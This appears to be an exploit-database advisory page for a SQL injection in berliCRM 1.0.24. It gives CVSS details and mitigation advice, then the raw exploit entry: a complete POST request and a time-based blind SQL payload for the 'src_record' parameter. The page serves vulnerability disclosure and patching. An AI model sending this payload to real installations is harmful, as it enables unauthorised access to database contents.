berliCRM 1.0.24 - 'src_record' SQL Injection

vendor:

berliCRM

by:

Ahmet Ümit BAYRAM

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: berliCRM

Affected Version From: 1.0.24

Affected Version To: 1.0.24

Patch Exists: NO

Related CWE: N/A

CPE: a:berlicrm:berlicrm:1.0.24

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2020

berliCRM 1.0.24 – ‘src_record’ SQL Injection

A SQL injection vulnerability exists in berliCRM 1.0.24. An attacker can send a specially crafted POST request to the vulnerable parameter 'src_record' to inject malicious SQL code. This can be exploited to gain access to sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: berliCRM 1.0.24 - 'src_record' SQL Injection
# Google Dork: N/A
# Date: 2020-10-11
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.berlicrm.de
# Software Link: https://github.com/berliCRM/berlicrm/archive/1.0.24.zip
# Version: 1.0.24
# Tested on: Kali Linux
# CVE : N/A


========== Post Request =========================

POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: localhost
Cookie: PHPSESSID=bab89b6fc39e1fd2c26877a4544cbb64
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 226
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

__vtrftk=sid:ff114f440469f69f1507ebd04c65e05ba2fcc8d3%2C1602392658&module=Contacts&src_field=contact_id&src_module=Contacts&src_record=1&triggerEventName=postSelection721&view=Popup

============= Vulnerable Parameter ===============

src_record (POST)

============= Payload  ===========================

0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z